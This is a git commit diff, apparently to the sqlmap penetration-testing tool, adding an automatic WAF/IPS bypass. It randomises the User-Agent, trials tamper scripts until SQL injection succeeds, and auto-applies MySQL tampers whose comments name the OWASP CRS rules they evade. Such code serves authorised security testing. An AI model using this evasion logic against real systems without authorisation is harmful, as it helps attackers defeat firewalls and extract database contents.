Add --prove, opt-in --auto-tamper WAF bypass, and blindbinary/infoschema2innodb tampers

This commit is contained in:
Miroslav Štampar 2026-06-17 15:58:08 +02:00
parent a0cbfba9bd
commit 1404133538
16 changed files with 992 additions and 15 deletions

View file

@ -8,11 +8,14 @@ See the file 'LICENSE' for copying permission
from lib.controller.handler import setHandler
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.common import hashDBWrite
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import CONTENT_TYPE
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS
@ -30,8 +33,41 @@ def action():
# First of all we have to identify the back-end database management
# system to be able to go ahead with the injection
# automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
# page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
# and flood the run with 403s) and assume that DBMS, so the user gets a usable result
if kb.wafBypass and not conf.forceDbms:
fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
if fallback:
logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
conf.forceDbms = fallback
setHandler()
if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
# automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
# libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
# * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
# otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
# * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
# ORD/MID function names scored by 942151/942190);
# * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
# 'mysql.innodb_table_stats', which is not on those blocklists.
# (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an
# open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.)
if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL:
kb.data.has_information_schema = True
if not conf.tamper:
from lib.utils.wafbypass import loadTamper
for _name in ("blindbinary", "infoschema2innodb"):
function = loadTamper(_name)
if function is not None and function not in (kb.tamperFunctions or []):
kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
if not Backend.getDbms() or not conf.dbmsHandler:
htmlParsed = Format.getErrorParsedDBMSes()

View file

@ -1351,6 +1351,10 @@ def checkWaf():
warnMsg = "previous heuristics detected that the target "
warnMsg += "is protected by some kind of WAF/IPS"
logger.critical(warnMsg)
if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True): # re-apply a previously accepted automatic bypass
from lib.utils.wafbypass import neutralizeFingerprint
kb.wafBypass = True
neutralizeFingerprint()
return _
if not kb.originalPage:
@ -1393,6 +1397,7 @@ def checkWaf():
hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
if retVal:
if not kb.identifiedWafs:
warnMsg = "heuristics detected that the target "
@ -1406,9 +1411,19 @@ def checkWaf():
if not choice:
raise SqlmapUserQuitException
else:
if not conf.tamper:
warnMsg = "please consider usage of tamper scripts (option '--tamper')"
singleTimeWarnMessage(warnMsg)
if not conf.tamper and not kb.tamperFunctions:
message = "do you want sqlmap to try to automatically bypass the WAF/IPS during "
message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] "
kb.wafBypass = readInput(message, default='Y', boolean=True)
hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True)
if kb.wafBypass:
# apply it up-front so the whole run (detection included) avoids the scanner
# fingerprint, instead of getting blocked first and only then retrying
from lib.utils.wafbypass import neutralizeFingerprint
neutralizeFingerprint()
logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS")
else:
singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')")
return retVal

View file

@ -76,6 +76,7 @@ from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import LOW_TEXT_PERCENT
from lib.core.settings import REFERER_ALIASES
from lib.core.settings import USER_AGENT_ALIASES
from lib.core.settings import WAF_BYPASS_MAX_TRIALS
from lib.core.target import initTargetEnv
from lib.core.target import setupTargetEnv
from lib.utils.hash import crackHashFile
@ -168,6 +169,57 @@ def _formatInjection(inj):
return data
def _autoWafBypass(place, parameter, value):
"""
Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in
kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner
User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled
and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection()
through a candidate is itself the validation - it succeeds only if the resulting payload both
passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically.
"""
from lib.utils.wafbypass import candidateTampers, loadTamper
retVal = None
savedTamper = kb.tamperFunctions
savedTechnique = conf.technique
conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN] # bound each trial to a quick boolean re-check
candidates = candidateTampers(identifiedWafs=kb.identifiedWafs)
try:
for count, name in enumerate(candidates):
if count >= WAF_BYPASS_MAX_TRIALS:
break
function = loadTamper(name)
if function is None:
continue
kb.tamperFunctions = [function]
logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name)
injection = checkSqlInjection(place, parameter, value)
if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name)
logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name)
retVal = injection
return retVal
if kb.droppingRequests and count >= 2:
logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass")
break
finally:
conf.technique = savedTechnique
if retVal is None: # nothing worked - leave tampering untouched
kb.tamperFunctions = savedTamper
# honest bail: say it could not be bypassed and what to try manually
logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)")
return retVal
def _showInjections():
if conf.wizard and kb.wizardMode:
kb.wizardMode = False
@ -626,6 +678,14 @@ def start():
logger.info(infoMsg)
injection = checkSqlInjection(place, parameter, value)
# WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but
# the standard payloads were blocked -> try to auto-bypass it (request
# fingerprint neutralization and/or a tamper script)
if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \
and not conf.tamper and not kb.tamperFunctions:
injection = _autoWafBypass(place, parameter, value) or injection
proceed = not kb.endDetection
injectable = False
@ -754,7 +814,12 @@ def start():
condition = True
if condition:
action()
try:
action()
finally:
if conf.prove:
from lib.utils.prove import proveExploitation
proveExploitation()
except KeyboardInterrupt:
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):